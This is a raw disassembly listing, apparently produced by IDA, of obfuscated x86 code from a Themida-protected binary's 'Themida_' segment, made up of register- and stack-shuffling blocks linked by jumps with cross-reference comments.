loc_59B2A8: ; CODE XREF: Themida_:0059BA22j
pop edi
push ebp
push dword ptr [esp]
push dword ptr [esp]
pop edx
push edx
mov edx, esp
add edx, 4
jmp loc_5A89AF
; ---------------------------------------------------------------------------
loc_59B2BF: ; CODE XREF: Themida_:005A797Cj
sub ecx, 1C0F5C8Eh
add edi, ecx
pop ecx
add edi, 130F890Fh
jmp loc_5A026F
; ---------------------------------------------------------------------------
loc_59B2D3: ; CODE XREF: Themida_:0059D4B8j
push 66CB61F3h
pop ecx
sub esi, ecx
jmp loc_59B93A
; ---------------------------------------------------------------------------
loc_59B2E0: ; CODE XREF: Themida_:005A2852j
shl esi, 4
sub esi, 0FFFFFFFFh
add esi, 0C042C05Fh
and eax, esi
mov esi, [esp]
jmp loc_598ECE
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_5A94BD
; ---------------------------------------------------------------------------
loc_59B302: ; CODE XREF: Themida_:0059F5C9j
mov [esp], edx
push esp
pop edx
push ecx
push eax
mov eax, 31352EBAh
add eax, 0FFFFFFFFh
push eax
not dword ptr [esp]
jmp loc_5A53F1
; ---------------------------------------------------------------------------
loc_59B31C: ; CODE XREF: Themida_:005A361Bj
xchg ecx, [esp]
mov esp, [esp]
btr [esp], ax
pushf
jmp loc_5ADFE5
; ---------------------------------------------------------------------------
loc_59B32D: ; CODE XREF: Themida_:00599860j
push edi
push 7E2Eh
mov [esp], ebx
jmp loc_5AD2B4
; ---------------------------------------------------------------------------
loc_59B33B: ; CODE XREF: Themida_:005A84E1j
pop cx
push ecx
sub esp, 4
mov [esp], edx
mov dh, 0
mov cl, dh
mov edx, [esp]
add esp, 4
push eax
push edx
mov dl, 6Dh
jmp loc_5AEE72
; ---------------------------------------------------------------------------
loc_59B35A: ; CODE XREF: Themida_:005A4305j
xchg edx, [esp]
mov esp, [esp]
mov [esp], eax
mov al, 11h
xor al, 1Bh
mov bl, al
mov eax, [esp]
add esp, 4
add al, 0FDh
add al, 49h
sub al, 86h
add al, bl
jmp loc_5A5830
; ---------------------------------------------------------------------------
loc_59B37F: ; CODE XREF: Themida_:005A23BBj
; Themida_:005A51F6j
add cl, 44h
jmp loc_5AA651
; ---------------------------------------------------------------------------
loc_59B387: ; CODE XREF: Themida_:loc_5AF275j
dec ah
jle loc_5A97A0
jmp loc_5A1D8E
; ---------------------------------------------------------------------------
loc_59B394: ; CODE XREF: Themida_:loc_5A1076j
xor ah, 8Ah
jz loc_59BA27
push edx
jmp loc_59CB66
; ---------------------------------------------------------------------------
loc_59B3A3: ; CODE XREF: Themida_:005A9EA2j
add edx, 4
push edi
jmp loc_5AB890
; ---------------------------------------------------------------------------
loc_59B3AF: ; CODE XREF: Themida_:005A07A4j
mov edi, 4
jmp loc_5A0799
; ---------------------------------------------------------------------------
loc_59B3B9: ; CODE XREF: Themida_:0059AEB6j
sub eax, ebp
jmp loc_5A0F4F
; ---------------------------------------------------------------------------
loc_59B3C0: ; CODE XREF: Themida_:005A3FDCj
push ecx
mov ecx, esp
add ecx, 4
push ebp
jmp loc_5A15AC
; ---------------------------------------------------------------------------
loc_59B3CF: ; CODE XREF: Themida_:0059A74Aj
mov [esp], ecx
push 3E764B4Ch
pop ecx
and ecx, 8BE642Dh
jmp loc_5988A9
; ---------------------------------------------------------------------------
loc_59B3E3: ; CODE XREF: Themida_:0059EA28j
push edx
push ebx
mov bl, 60h
mov dl, bl
pop ebx
mov ch, dl
pop edx
push small 0AC8h
jmp loc_5AC588
; ---------------------------------------------------------------------------
loc_59B3F6: ; CODE XREF: Themida_:005A50D4j
mov edi, 4
sub edx, edi
pop edi
xchg edx, [esp]
pop esp
mov [esp], esi
push eax
jmp loc_5A5D07
; ---------------------------------------------------------------------------
loc_59B40B: ; CODE XREF: Themida_:005AE997j
pop edi
add ebx, 2
jmp loc_5A06BE
; ---------------------------------------------------------------------------
loc_59B414: ; CODE XREF: Themida_:005A9320j
mov esi, 4
push eax
jmp loc_5AA916
; ---------------------------------------------------------------------------
loc_59B41F: ; CODE XREF: Themida_:loc_5ABDB9j
add edi, 25DE7C1Eh
jmp loc_5AAE9A
; ---------------------------------------------------------------------------
loc_59B42A: ; CODE XREF: Themida_:005996F9j
mov [esp], edi
push dword ptr [esp+4]
mov edi, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_5A5988
; ---------------------------------------------------------------------------
loc_59B44B: ; CODE XREF: Themida_:005A7FCCj
add edx, 4
xchg edx, [esp]
pop esp
add edi, 4
push edi
push dword ptr [esp+4]
jmp loc_59E2C6
; ---------------------------------------------------------------------------
loc_59B465: ; CODE XREF: Themida_:005A101Ej
add ecx, 736A042Ch
jmp loc_5A6DAA
; ---------------------------------------------------------------------------
loc_59B470: ; CODE XREF: Themida_:005A255Bj
not ecx
push edi
jmp loc_59FC11
; ---------------------------------------------------------------------------
loc_59B478: ; CODE XREF: Themida_:005A0024j
push ecx
mov ecx, 0D1162D5h
dec ecx
dec ecx
add ecx, 3BF934D2h
shl ecx, 6
sub ecx, 42A5E93Ch
add ebx, ecx
pop ecx
sub ebx, 4
xchg ebx, [esp]
jmp loc_5AEFC2
; ---------------------------------------------------------------------------
loc_59B4A0: ; CODE XREF: Themida_:loc_5A471Bj
jmp loc_599466
; ---------------------------------------------------------------------------
loc_59B4A5: ; CODE XREF: Themida_:005A2F45j
sub esp, 4
mov [esp], esi
push esp
push dword ptr [esp]
pop esi
push 6BE9h
jmp loc_59C850
; ---------------------------------------------------------------------------
loc_59B4BA: ; CODE XREF: Themida_:0059D468j
pop ecx
sub eax, 77DF121Fh
add eax, ebx
add eax, 77DF121Fh
pop ebx
push 67E7h
mov [esp], ebx
mov ebx, 787F2F84h
push ecx
mov ecx, 0B0B2966h
shl ecx, 3
push 1DC1h
jmp loc_5AE25C
; ---------------------------------------------------------------------------
loc_59B4E8: ; CODE XREF: Themida_:005A72D8j
xchg edi, [esp]
jmp loc_5A734A
; ---------------------------------------------------------------------------
loc_59B4F0: ; CODE XREF: Themida_:005A93D6j
push dword ptr [esp]
pop esi
add esp, 4
push 1543h
jmp loc_59DD80
; ---------------------------------------------------------------------------
loc_59B501: ; CODE XREF: Themida_:005A6408j
pop ebx
sub [edi+24h], ecx
mov ecx, [esp]
push edx
mov edx, esp
sub esp, 4
mov [esp], ebx
mov ebx, 4
add edx, ebx
jmp loc_5A2D4D
; ---------------------------------------------------------------------------
loc_59B51D: ; CODE XREF: Themida_:005ABB38j
push ebx
mov ebx, 5A8353BCh
dec ebx
add ebx, 3083608Bh
shr ebx, 5
add ebx, 3972199Ch
or ecx, ebx
jmp loc_5A98D2
; ---------------------------------------------------------------------------
loc_59B53A: ; CODE XREF: Themida_:0059EFE3j
; Themida_:005A367Fj
mov eax, esp
add eax, 4
jmp loc_5A4237
; ---------------------------------------------------------------------------
loc_59B546: ; CODE XREF: Themida_:005A245Bj
pop ecx
add ecx, edx
pop edx
jmp loc_5A91B3
; ---------------------------------------------------------------------------
loc_59B54F: ; CODE XREF: Themida_:005AAE1Fj
push esi
mov esi, 4
add dword ptr [esp+4], 0DED5C93h
sub dword ptr [esp+4], 75E55E73h
add [esp+4], esi
add dword ptr [esp+4], 75E55E73h
sub dword ptr [esp+4], 0DED5C93h
pop esi
pop ebx
push eax
mov eax, 144D4587h
and eax, 7B812548h
or eax, 55C061F5h
inc eax
sub eax, 55C165F2h
add ebx, eax
pop eax
push ecx
mov ecx, 2
add ebx, ecx
push dword ptr [esp]
pop ecx
push edx
mov edx, esp
jmp loc_5AE4B2
; ---------------------------------------------------------------------------
loc_59B5A8: ; CODE XREF: Themida_:005A2EC1j
sub esi, 69FC25C2h
add esi, ebp
add esi, 69FC25C2h
pop ebp
jmp loc_59BE5D
; ---------------------------------------------------------------------------
loc_59B5BC: ; CODE XREF: Themida_:005A72B6j
shl ecx, 3
jmp loc_5A6A18
; ---------------------------------------------------------------------------
loc_59B5C4: ; CODE XREF: Themida_:005ABEBEj
add al, dl
add al, 15h
jmp loc_5A946B
; ---------------------------------------------------------------------------
loc_59B5CD: ; CODE XREF: Themida_:005AC31Aj
sub eax, ebx
pop ebx
sub ecx, 9470C21h
add ecx, eax
jmp loc_5A0BC5
; ---------------------------------------------------------------------------
loc_59B5DD: ; CODE XREF: Themida_:005AB96Cj
jmp loc_59ABC4
; ---------------------------------------------------------------------------
loc_59B5E2: ; CODE XREF: Themida_:0059937Ej
push ebp
mov ebp, 3DC45B0Dh
jmp loc_59D921
; ---------------------------------------------------------------------------
loc_59B5ED: ; CODE XREF: Themida_:0059E06Fj
mov edx, [esp]
add esp, 4
shl edi, 4
not edi
add edi, 1
jmp loc_59BF1B
; ---------------------------------------------------------------------------
loc_59B606: ; CODE XREF: Themida_:005AE45Bj
push dword ptr [esp]
pop ebx
sub esp, 4
mov [esp], edx
jmp loc_5A1C57
; ---------------------------------------------------------------------------
loc_59B615: ; CODE XREF: Themida_:0059E856j
shr ebx, 8
or ebx, 6A7828A1h
jb loc_5A9B55
xor ebx, 4B3342CFh
add ebx, edx
pop edx
add ebx, 78E12E85h
jnb loc_5A809C
add ebx, 4E48687Eh
jp loc_5A58CF
loc_59B645: ; CODE XREF: Themida_:005A32F0j
mov [esp], ecx
jmp loc_5A8679
; ---------------------------------------------------------------------------
loc_59B64D: ; CODE XREF: Themida_:0059A146j
push 19E3h
jmp loc_5A73F7
; ---------------------------------------------------------------------------
loc_59B657: ; CODE XREF: Themida_:00598DAAj
jmp loc_59C47C
; ---------------------------------------------------------------------------
loc_59B65C: ; CODE XREF: Themida_:005AA5F6j
and eax, 10391EF8h
jmp loc_5AC31F
; ---------------------------------------------------------------------------
loc_59B666: ; CODE XREF: Themida_:005A0964j
; Themida_:005A9631j
xor ecx, 0F48B0711h
add ebx, ecx
pop ecx
add ebx, 4
xchg ebx, [esp]
pop esp
pop dword ptr [esp]
pop esp
push esi
mov esi, 4
sub eax, 5EA87241h
add eax, 30725391h
add eax, esi
sub eax, 30725391h
add eax, 5EA87241h
jmp loc_5A38E7
; ---------------------------------------------------------------------------
loc_59B69B: ; CODE XREF: Themida_:0059BCF6j
pop esi
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
push 4EF1h
mov [esp], eax
jmp loc_5A528B
; ---------------------------------------------------------------------------
loc_59B6B5: ; CODE XREF: Themida_:005A403Dj
xor [esp], edx
xor edx, [esp]
pop esp
mov [esp], edx
mov edx, 2EEA032Fh
jmp loc_5AE971
; ---------------------------------------------------------------------------
loc_59B6C9: ; CODE XREF: Themida_:0059CB07j
mov edi, [esp]
add esp, 4
push 525Bh
mov [esp], ebx
mov ebx, 7C8818A3h
and ecx, ebx
mov ebx, [esp]
add esp, 4
push esi
push 5A8h
jmp loc_5990DA
; ---------------------------------------------------------------------------
loc_59B6F5: ; CODE XREF: Themida_:loc_598E5Cj
; Themida_:0059A049j
add edx, ebp
sub edx, 7C6612CAh
mov ebp, [esp]
jmp loc_5A488B
; ---------------------------------------------------------------------------
loc_59B705: ; CODE XREF: Themida_:005A172Cj
shl eax, 2
jnp loc_5A6975
neg eax
jmp loc_59D11B
; ---------------------------------------------------------------------------
add ebx, edi
push ebp
loc_59B718: ; CODE XREF: Themida_:005990E5j
add esp, 4
inc ebp
jmp loc_59B826
; ---------------------------------------------------------------------------
loc_59B724: ; CODE XREF: Themida_:005A343Cj
add di, 1
push 5C28h
mov [esp], ecx
mov cx, 3E03h
xor cx, 0E7Eh
shl cx, 3
and cx, 41B7h
dec cx
add cx, 1ABh
add di, cx
mov ecx, [esp]
add esp, 4
jmp loc_5ADDA1
; ---------------------------------------------------------------------------
loc_59B757: ; CODE XREF: Themida_:00598FC8j
add esp, 4
jmp loc_5A683D
; ---------------------------------------------------------------------------
loc_59B762: ; CODE XREF: Themida_:005A8B59j
add dword ptr [esp+4], 40FC14DFh
mov ebp, [esp]
add esp, 4
sub esp, 4
mov [esp], edx
mov edx, 11DE6264h
jmp loc_599170
; ---------------------------------------------------------------------------
loc_59B780: ; CODE XREF: Themida_:0059E647j
add esi, ecx
pop ecx
add esi, 4
sub esp, 4
mov [esp], esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
push ebp
sub esp, 4
mov [esp], esp
push eax
mov eax, 4
add [esp+4], eax
pop eax
mov ebp, [esp]
add esp, 4
push esi
mov esi, 2C376618h
jmp loc_59F8E3
; ---------------------------------------------------------------------------
loc_59B7BB: ; CODE XREF: Themida_:0059F51Cj
; Themida_:005A57C0j
push ecx
pop edx
pop ecx
jmp loc_5AA9E5
; ---------------------------------------------------------------------------
loc_59B7C3: ; CODE XREF: Themida_:0059AB36j
add bh, 0D6h
jmp loc_5AD177
; ---------------------------------------------------------------------------
loc_59B7CB: ; CODE XREF: Themida_:005AEF4Cj
xor ebx, eax
jmp loc_59900B
; ---------------------------------------------------------------------------
loc_59B7D2: ; CODE XREF: Themida_:0059C606j
mov [esp], edx
push eax
pushf
jmp loc_59D44D
; ---------------------------------------------------------------------------
loc_59B7DC: ; CODE XREF: Themida_:005A20F5j
pop dword ptr [esp]
jmp loc_5A37AC
; ---------------------------------------------------------------------------
loc_59B7E4: ; CODE XREF: Themida_:005ABA11j
; Themida_:005AEA50j
mov ecx, [esp]
push esi
push esp
jmp loc_5A650C
; ---------------------------------------------------------------------------
loc_59B7EE: ; CODE XREF: Themida_:0059F280j
sub al, bl
sub al, 0C3h
sub al, 85h
sub al, 9
jmp loc_59BEDE
; ---------------------------------------------------------------------------
loc_59B7FB: ; CODE XREF: Themida_:005A1935j
; Themida_:005A7D66j
not ebp
inc ebp
add ebp, 76F2595Ch
add ebp, 88B2005h
add edx, ebp
jmp loc_5ADC8A
; ---------------------------------------------------------------------------
loc_59B811: ; CODE XREF: Themida_:005A41EBj
neg esi
jle loc_5A9355
add esi, 0DF8AB5EDh
jmp loc_5A27A7
; ---------------------------------------------------------------------------
sub esi, edi
loc_59B826: ; CODE XREF: Themida_:0059B71Fj
sub ebp, 601F84B5h
mov esi, ebp
pop ebp
add ecx, esi
jmp loc_5AE56A
; ---------------------------------------------------------------------------
loc_59B836: ; CODE XREF: Themida_:0059D610j
pop esp
push small 1675h
mov [esp], cx
sub esp, 2
jmp loc_5A24EF
; ---------------------------------------------------------------------------
loc_59B847: ; CODE XREF: Themida_:0059FB9Bj
shl cx, 2
jmp loc_5AE5A3
; ---------------------------------------------------------------------------
loc_59B850: ; CODE XREF: Themida_:005ADD0Cj
push ebp
mov ebp, 4
add edx, ebp
pop ebp
jmp loc_5A39DD
; ---------------------------------------------------------------------------
loc_59B85E: ; CODE XREF: Themida_:005A2C05j
xor eax, ebx
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
push eax
push esp
pop eax
push ebx
mov ebx, 4
jmp loc_5AB518
; ---------------------------------------------------------------------------
loc_59B877: ; CODE XREF: Themida_:0059ABE5j
sub eax, 6E65035Eh
add eax, ebp
add eax, 6E65035Eh
push dword ptr [esp]
push dword ptr [esp]
pop ebp
jmp loc_59D11B
; ---------------------------------------------------------------------------
loc_59B88F: ; CODE XREF: Themida_:005AF016j
add ecx, 4
add ecx, 4
jmp loc_5ACC99
; ---------------------------------------------------------------------------
loc_59B8A0: ; CODE XREF: Themida_:0059BED9j
pop ebp
push edx
jmp loc_5A06E3
; ---------------------------------------------------------------------------
loc_59B8A7: ; CODE XREF: Themida_:005A3428j
sub ebp, 1ED236EFh
add ebp, edi
add ebp, 1ED236EFh
jmp loc_59E3C3
; ---------------------------------------------------------------------------
loc_59B8BA: ; CODE XREF: Themida_:005A798Cj
push esi
push ebp
mov ebp, 4A4F5EB0h
add ebp, 0FFFFFFFFh
push ecx
jmp loc_5AC09B
; ---------------------------------------------------------------------------
loc_59B8CA: ; CODE XREF: Themida_:005A4EFEj
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
shr ecx, 0
or eax, eax
jz loc_5A593A
push ebp
jmp loc_5A0D7F
; ---------------------------------------------------------------------------
loc_59B8E4: ; CODE XREF: Themida_:005A4519j
sub dh, 17h
add dh, al
add dh, 17h
pop eax
sub esp, 4
jmp loc_5A6392
; ---------------------------------------------------------------------------
loc_59B8F5: ; CODE XREF: Themida_:005AD92Dj
jmp loc_5AB5C6
; ---------------------------------------------------------------------------
loc_59B8FA: ; CODE XREF: Themida_:0059C613j
mov [esp], ecx
push edi
jmp loc_5AB614
; ---------------------------------------------------------------------------
loc_59B903: ; CODE XREF: Themida_:005AA8C5j
push 4A62h
mov [esp], eax
mov eax, 1E662D07h
shl eax, 1
jns loc_5A3F60
jmp loc_598510
; ---------------------------------------------------------------------------
push ebx
jmp loc_599EBE
; ---------------------------------------------------------------------------
db 89h, 0D2h
; ---------------------------------------------------------------------------
pop eax
loc_59B926: ; CODE XREF: Themida_:0059B193j
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xor ecx, [esp]
jmp loc_59F4E4
; ---------------------------------------------------------------------------
loc_59B93A: ; CODE XREF: Themida_:0059B2DBj
pop ecx
mov eax, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
add esi, 2
xchg esi, [esp]
pop esp
jmp loc_59D615
; ---------------------------------------------------------------------------
loc_59B95D: ; CODE XREF: Themida_:005A2807j
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_5A3F53
; ---------------------------------------------------------------------------
loc_59B972: ; CODE XREF: Themida_:005A9CCBj
shl eax, 2
sub eax, 8F1FFD7Ch
add edx, eax
pop eax
xor edx, [esp]
xor [esp], edx
jmp loc_5A4223
; ---------------------------------------------------------------------------
loc_59B988: ; CODE XREF: Themida_:0059C77Ej
xchg edi, [esp]
pop esp
sub esp, 4
mov [esp], eax
push esp
pop eax
add eax, 4
add eax, 4
xchg eax, [esp]
mov esp, [esp]
push 55B5h
mov [esp], edi
push esp
jmp loc_5A54B9
; ---------------------------------------------------------------------------
loc_59B9B0: ; CODE XREF: Themida_:0059BDA3j
push ebp
mov ebp, esp
sub esp, 4
mov [esp], edx
mov edx, 0B487AA8h
inc edx
and edx, 5AAC3C52h
jmp loc_5A4F98
; ---------------------------------------------------------------------------
loc_59B9CD: ; CODE XREF: Themida_:005ABFE0j
mov [esp], ebx
mov ebx, 56BA5D5Ch
xor edx, ebx
pop ebx
jmp loc_59CC4E
; ---------------------------------------------------------------------------
loc_59B9DD: ; CODE XREF: Themida_:005A0B43j
pop esi
mov ebx, [esp]
jmp loc_59C60B
; ---------------------------------------------------------------------------
loc_59B9E6: ; CODE XREF: Themida_:005A33AAj
mov esi, 35EA016Bh
add eax, esi
pop esi
sub esp, 4
mov [esp], edx
sub esp, 4
mov [esp], ebp
jmp loc_59D970
; ---------------------------------------------------------------------------
loc_59BA05: ; CODE XREF: Themida_:005A4E1Cj
push ebx
mov ebx, 79F81F44h
jmp loc_59C9E2
; ---------------------------------------------------------------------------
loc_59BA10: ; CODE XREF: Themida_:005A73A0j
push dword ptr [esp]
pop ebp
sub esp, 4
mov [esp], ecx
jmp loc_5AC106
; ---------------------------------------------------------------------------
loc_59BA1F: ; CODE XREF: Themida_:0059EA71j
pop eax
add ebp, edi
jmp loc_59B2A8
; ---------------------------------------------------------------------------
loc_59BA27: ; CODE XREF: Themida_:0059B397j
push edx
jmp loc_5A538C
; ---------------------------------------------------------------------------
loc_59BA2D: ; CODE XREF: Themida_:005A9520j
jmp loc_59BE6A
; ---------------------------------------------------------------------------
loc_59BA32: ; CODE XREF: Themida_:0059EE34j
add esi, 32D12A09h
add esi, 70DF078Ch
pop ecx
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
jmp loc_59E7EF
; ---------------------------------------------------------------------------
loc_59BA50: ; CODE XREF: Themida_:0059A7D6j
xor ecx, 6CA9213Fh
sub esi, ecx
pop ecx
add esi, 6F4F4F2Ah
push 11E1h
mov [esp], ebp
mov ebp, 1CF23BE8h
add esi, ebp
mov ebp, [esp]
jmp loc_59E611
; ---------------------------------------------------------------------------
loc_59BA76: ; CODE XREF: Themida_:loc_5AE370j
sub bh, 3Ch
push ecx
mov ch, bh
mov dl, ch
pop ecx
jmp loc_5A6595
; ---------------------------------------------------------------------------
loc_59BA84: ; CODE XREF: Themida_:005AB4F0j
mov edx, 0C7A5320h
mov edi, edx
pop edx
sub esp, 4
mov [esp], ebp
mov ebp, 7D4FD23Dh
jmp loc_5A82A1
; ---------------------------------------------------------------------------
loc_59BA9C: ; CODE XREF: Themida_:005AE96Cj
pop ebx
add ebx, 4
sub ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
jmp loc_5AB6B3
; ---------------------------------------------------------------------------
loc_59BAB7: ; CODE XREF: Themida_:005A5C72j
pop edx
sub esp, 4
mov [esp], esi
push ebp
mov ebp, 4ABB52C8h
jmp loc_5A09BA
; ---------------------------------------------------------------------------
loc_59BACC: ; CODE XREF: Themida_:005A4679j
sub esp, 4
mov [esp], edi
jmp loc_5A3F1D
; ---------------------------------------------------------------------------
loc_59BAD7: ; CODE XREF: Themida_:0059A6E9j
; Themida_:loc_5A3E4Cj ...
mov esp, [esp]
push 14A4h
mov [esp], edi
mov edi, esp
push ebp
push edx
mov edx, 4
mov ebp, edx
mov edx, [esp]
push ebx
mov ebx, esp
push edi
jmp loc_599776
; ---------------------------------------------------------------------------
loc_59BAF9: ; CODE XREF: Themida_:loc_5AA5CAj
sub eax, 8F87E65Bh
mov ebp, eax
pop eax
push ebx
push eax
jmp loc_5A77F8
; ---------------------------------------------------------------------------
loc_59BB08: ; CODE XREF: Themida_:0059DD48j
push dword ptr [esp]
jmp loc_59A437
; ---------------------------------------------------------------------------
loc_59BB10: ; CODE XREF: Themida_:005A75BCj
sub dword ptr [esp], 413D074Eh
sub [esp], esi
jmp loc_5A5790
; ---------------------------------------------------------------------------
loc_59BB1F: ; CODE XREF: Themida_:005AC112j
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
add ebp, 4
push eax
mov eax, 4
add ebp, eax
pop eax
xchg ebp, [esp]
pop esp
jmp loc_5AABF3
; ---------------------------------------------------------------------------
loc_59BB42: ; CODE XREF: Themida_:005A7101j
and edx, 213370EAh
jnp loc_5AC327
xor edx, 50F478D0h
jge loc_5A4E69
jmp loc_599954
; ---------------------------------------------------------------------------
push esi
push edx
xor bl, 0DFh
push edx
loc_59BB65: ; CODE XREF: Themida_:005AEACBj
pop ebp
sub ebp, 600424D3h
jmp loc_5AAD22
; ---------------------------------------------------------------------------
loc_59BB71: ; CODE XREF: Themida_:005A9D3Fj
add esp, 4
or ebp, 5D9E50C8h
jmp loc_59DFBB
; ---------------------------------------------------------------------------
loc_59BB7F: ; CODE XREF: Themida_:loc_5AA2FDj
shl edi, 5
jns loc_59F050
add edi, 78A76C24h
push edi
pop ebp
pop edi
sub edx, ebp
pop ebp
xor edx, [esp]
jmp loc_5A5D48
; ---------------------------------------------------------------------------
loc_59BB9C: ; CODE XREF: Themida_:005A0C18j
xchg ebx, [esp]
jmp loc_59995F
; ---------------------------------------------------------------------------
loc_59BBA4: ; CODE XREF: Themida_:005A152Fj
xor al, 89h
jnp loc_59876E
push 5DB3h
mov [esp], edx
mov dh, 0CEh
loc_59BBB6: ; CODE XREF: Themida_:0059A432j
xchg ebp, esi
jmp loc_59DA50
; ---------------------------------------------------------------------------
loc_59BBBD: ; CODE XREF: Themida_:0059A030j
pop eax
jmp loc_59A3CB
; ---------------------------------------------------------------------------
loc_59BBC3: ; CODE XREF: Themida_:005A648Ej
mov [esp], ebx
mov ebx, esp
jmp loc_59C997
; ---------------------------------------------------------------------------
loc_59BBCD: ; CODE XREF: Themida_:005A778Fj
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59BBD2: ; CODE XREF: Themida_:00599C27j
add ebx, 2
jmp loc_5AA8FF
; ---------------------------------------------------------------------------
loc_59BBDD: ; CODE XREF: Themida_:005A3319j
sub ebp, edx
pop edx
jmp loc_5A8BDF
; ---------------------------------------------------------------------------
loc_59BBE5: ; CODE XREF: Themida_:005A9422j
push dword ptr [esp]
pop ebx
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push ecx
mov ecx, esp
push ebp
mov ebp, 46811CD3h
xor ebp, 710E305Ah
or ebp, 688C789Dh
jmp loc_5A0FB8
; ---------------------------------------------------------------------------
loc_59BC13: ; CODE XREF: Themida_:005A7A86j
mov ebp, 0C69BE685h
sub ebx, ebp
pop ebp
mov esi, ebx
pop ebx
dec esi
xor esi, 63433E7Eh
jmp loc_5A4B2F
; ---------------------------------------------------------------------------
loc_59BC2A: ; CODE XREF: Themida_:0059A8A7j
; Themida_:005AC6E0j
pop esi
jmp loc_5AAF88
; ---------------------------------------------------------------------------
loc_59BC30: ; CODE XREF: Themida_:00598B3Dj
pop eax
xor edx, [esp]
jmp loc_5A5277
; ---------------------------------------------------------------------------
loc_59BC39: ; CODE XREF: Themida_:005A6A0Dj
pop ecx
jmp loc_5A1E48
; ---------------------------------------------------------------------------
loc_59BC3F: ; CODE XREF: Themida_:005A1E43j
mov [esp], dx
push ax
pushf
jmp loc_5A3A73
; ---------------------------------------------------------------------------
loc_59BC4B: ; CODE XREF: Themida_:005AEDA4j
sub eax, ebx
pop ebx
jmp loc_5A00BA
; ---------------------------------------------------------------------------
loc_59BC53: ; CODE XREF: Themida_:0059EDCEj
xor bl, 19h
jmp loc_5A2B5A
; ---------------------------------------------------------------------------
loc_59BC5B: ; CODE XREF: Themida_:005A568Dj
sub ebx, ecx
push eax
mov eax, 2A7E6F90h
jmp loc_5A14C1
; ---------------------------------------------------------------------------
loc_59BC68: ; CODE XREF: Themida_:0059C466j
sub ecx, edx
pop edx
add ebx, ecx
mov ecx, [esp]
sub esp, 4
jmp loc_5AC816
; ---------------------------------------------------------------------------
loc_59BC78: ; CODE XREF: Themida_:005A8553j
mov cx, [esp]
jmp loc_5A66FD
; ---------------------------------------------------------------------------
loc_59BC81: ; CODE XREF: Themida_:005A9668j
xchg edx, [esp]
pop esp
mov [esp], ebx
sub esp, 4
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_5ADDCC
; ---------------------------------------------------------------------------
loc_59BCA8: ; CODE XREF: Themida_:005AA7F4j
pop ebp
add esi, 1
add esi, 0FC85533Dh
or ebx, esi
push dword ptr [esp]
pop esi
jmp loc_599A70
; ---------------------------------------------------------------------------
loc_59BCBD: ; CODE XREF: Themida_:005A99EAj
push ebx
sub esp, 4
mov [esp], edi
mov edi, 10EE1A8Eh
jmp loc_5A57D0
; ---------------------------------------------------------------------------
loc_59BCCE: ; CODE XREF: Themida_:005ADF14j
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
pop eax
jmp loc_5AAA9F
; ---------------------------------------------------------------------------
loc_59BCE1: ; CODE XREF: Themida_:0059FF49j
add esi, 4
push 0F65h
mov [esp], esi
push dword ptr [esp+4]
push dword ptr [esp]
jmp loc_59B69B
; ---------------------------------------------------------------------------
loc_59BCFB: ; CODE XREF: Themida_:005ACFF8j
mov [esp], ebx
jmp loc_5A5E76
; ---------------------------------------------------------------------------
loc_59BD03: ; CODE XREF: Themida_:005AB2C2j
pop edi
pop dword ptr [esp]
pop esp
add ebp, 5D683B67h
add ebp, esi
sub ebp, 5D683B67h
pop esi
jmp loc_5ACE70
; ---------------------------------------------------------------------------
loc_59BD1C: ; CODE XREF: Themida_:005AA448j
mov ebp, 40A11D27h
add ebp, 4A444ECFh
dec ebp
add ebp, 29984DCEh
sub esi, 1A85B64h
jmp loc_5A6AAC
; ---------------------------------------------------------------------------
loc_59BD39: ; CODE XREF: Themida_:005A71F5j
sub ecx, ebp
sub ecx, 7A723ED9h
pop ebp
push dword ptr [esp]
pop ebp
add esp, 4
add ecx, 2
xchg ecx, [esp]
mov esp, [esp]
btc [esp], ax
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59BD60: ; CODE XREF: Themida_:00599F24j
pop ecx
add al, 9
push ebx
mov bh, 0FAh
push ecx
mov cl, dh
mov dh, bh
mov bh, cl
pop ecx
jmp loc_5A89DB
; ---------------------------------------------------------------------------
loc_59BD73: ; CODE XREF: Themida_:00598BF1j
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_5A7171
; ---------------------------------------------------------------------------
loc_59BD83: ; CODE XREF: Themida_:0059D3F0j
shr edx, 1
cmp eax, edx
jz loc_5A4BF8
push 1BF0h
mov [esp], esi
push 74B67E40h
jmp loc_5AA195
; ---------------------------------------------------------------------------
loc_59BD9F: ; CODE XREF: Themida_:005A20E6j
push dword ptr [esp]
pop edx
jmp loc_59B9B0
; ---------------------------------------------------------------------------
dd 83242489h, 8F042404h, 38E92404h
; ---------------------------------------------------------------------------
push es
add [eax], eax
loc_59BDB7: ; CODE XREF: Themida_:005A2DA3j
mov ebx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
push edi
mov edi, 41D81718h
xchg edx, edi
not edx
xchg edx, edi
inc edi
add edi, 4A35448Ch
sub edi, 1
not edi
push 3155h
mov [esp], ecx
mov ecx, 0C02BE50Bh
xor edi, ecx
jmp loc_5A0D64
; ---------------------------------------------------------------------------
loc_59BDFF: ; CODE XREF: Themida_:0059AEFAj
add esp, 4
shl esi, 2
jmp loc_5A228B
; ---------------------------------------------------------------------------
loc_59BE0D: ; CODE XREF: Themida_:005A5F8Cj
add edx, 0FFFFFFFFh
xor edx, 0BDF0A64Ah
sub esi, 390D4B80h
add esi, edx
push edi
jmp loc_5A2B11
; ---------------------------------------------------------------------------
